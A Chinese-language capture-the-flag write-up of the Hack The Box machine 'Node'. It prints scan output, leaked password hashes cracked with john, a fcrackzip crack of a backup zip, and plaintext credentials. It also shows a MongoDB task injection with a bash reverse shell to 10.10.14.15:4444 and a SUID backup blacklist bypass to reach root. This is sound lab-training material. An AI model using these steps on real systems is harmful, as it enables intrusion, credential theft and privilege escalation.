sudo nmap -p- -n --open -v 10.10.10.58
nmap -p 22,3000 -sV -A -Pn 10.10.10.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3000端口的web,基本确认是nodejs
从页面得知有tom mark rastating三个用户
扫目录啥也没扫出来,burp history里发现了api/users/latest, /admin等接口
状态码304,访问下看看
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
尝试访问/api/users/,也存在信息泄露
比latest接口多出一个admin
{"_id":"59a7365b98aa325cc03ee51c",
"username":"myP14ceAdm1nAcc0uNT",
"password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin":true}
在浏览器调试器中查看js,代码不多,手动提取出全部路由
/api/admin/backup
/api/session
/api/users/latest
/api/session/authenticate
/admin
/api/users/$username
/login
/partials/home.html
/partials/login.html
/partials/admin.html
/profiles/$username
先hashid看了一下,多个符合
hashid -j dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0a
挑了一个普通用户tom,和admin用户的密码hash放在node.txt里,挨个格式尝试爆破,第二个raw-sha256就成功了
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt node.txt
这样我们就能得到已知用户的密码如下(rastating没爆破出来):
username | passwd |
---|---|
tom | spongebob |
myP14ceAdm1nAcc0uNT | manchester |
mark | snowflake |
rastating | failed |
先登管理员账号看看
把备份下载下来,是一个文本文件,但看形式猜测是经过base64编码。解一下确实能看到app.html等字样
cat myplace.backup|base64 -d > myplace.zip
搞定
部分文件存在密码加密,使用管理员密码失败
我装了个fcrackzip来爆破(也可以zip2john,然后john爆破hash)
fcrackzip myplace.zip -D -p /usr/share/wordlists/rockyou.txt
magicword
成功解压,在app.js中发现
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017
mark
5AYRft73VtFpc84k
利用这组凭据成功ssh登录,发现user.txt在tom的家目录,应该要先拿到tom的权限。
ps -ef|grep tom
发现有两个app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
和我们已经看过的myspace app.js的连接串区别在于数据库名是scheduler.且会执行tasks里cmd的值
mongo 127.0.0.1/scheduler -u mark -p 5AYRft73VtFpc84k
show collections
db.tasks.find()
db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'"})
找suid发现一个/usr/local/bin/backup,群组是admin,tom能用
但是backup --help都没有说明
看wp才知道与之前的backup_key有关系
回到myspace里的app.js
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
proc.stdout.on("data", function(chunk) {
backup += chunk;
});
proc.stdout.on("end", function() {
});
}
else {
res.send({
authenticated: false
});
}
});
尝试复制root.txt
backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt
得到base64输出的字符串,就是跟之前下载base64的备份是一样的,解码后转成zip,magicword解压
结果是张嘲笑图
ltrace追一下,发现是有目录黑名单的
找一个普通文件追一下完整流程看看
挺搞的,直接cd到根目录下复制root/就绕过了
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。